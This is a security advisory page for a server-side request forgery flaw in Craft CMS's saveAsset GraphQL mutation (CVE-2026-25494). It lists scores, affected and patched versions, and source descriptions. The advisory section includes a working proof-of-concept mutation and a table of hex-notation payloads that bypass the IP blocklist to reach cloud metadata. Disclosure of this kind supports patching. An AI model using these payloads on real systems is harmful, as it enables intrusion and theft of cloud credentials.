6.9medium
Craft has a SSRF in GraphQL Asset Mutation via Alternative IP Notation
- Severity
- 6.9medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.40% (higher than 36% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-m5r2-8p9x-hp5m
Description
Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| craftcms cms | >= 5.0.0-RC1, < 5.8.22 | CVE List |
| craftcms/cms (Packagist) | from 5.0.0-RC1 before 5.8.22, from 4.0.0-RC1 before 4.16.18 | GitHub Advisory Database |
| craftcms craft_cms | from >4.0.0 before 4.16.18, from >5.0.0 before 5.8.22, 4.0.0, 5.0.0 | NVD |
All scores
| GitHub_M | 6.9medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| NVD | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.
What each source says
CVE List
Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.
GitHub Advisory Database
I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.
Summary
The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.
Proof of Concept
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "http://169.254.0xa9fe/latest/meta-data/"
filename: "metadata.txt"
}) {
id
}
}
- The IP validation passes (hex notation not recognized as IP)
- Guzzle resolves
169.254.0xa9feto169.254.169.254 - Cloud metadata is fetched and saved
Alternative Payloads
| Payload | Notation | Resolves To |
|---|---|---|
http://169.254.0xa9fe/ | Mixed (decimal + hex) | 169.254.169.254 |
http://0xa9.0xfe.0xa9.0xfe/ | Full hex dotted | 169.254.169.254 |
http://0xa9fea9fe/ | Single hex integer | 169.254.169.254 |
Technical Details
File: src/gql/resolvers/mutations/Asset.php
Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
NVD (es)
Craft es una plataforma para crear experiencias digitales. En las versiones de Craft 4.0.0-RC1 a 4.16.17 y 5.0.0-RC1 a 5.8.21, la mutación GraphQL saveAsset utiliza filter_var(..., FILTER_VALIDATE_IP) para bloquear una lista específica de direcciones IP. Sin embargo, las notaciones IP alternativas (hexadecimal, mixta) no son reconocidas por esta función, lo que permite a los atacantes eludir la lista de bloqueo y acceder a los servicios de metadatos en la nube. Este problema está parcheado en las versiones 4.16.18 y 5.8.22.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-25494 changed 2026-02-10 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-m5r2-8p9x-hp5m changed 2026-02-22 | CC-BY-4.0 |
| NVD | CVE-2026-25494 changed 2026-06-17 | Public domain |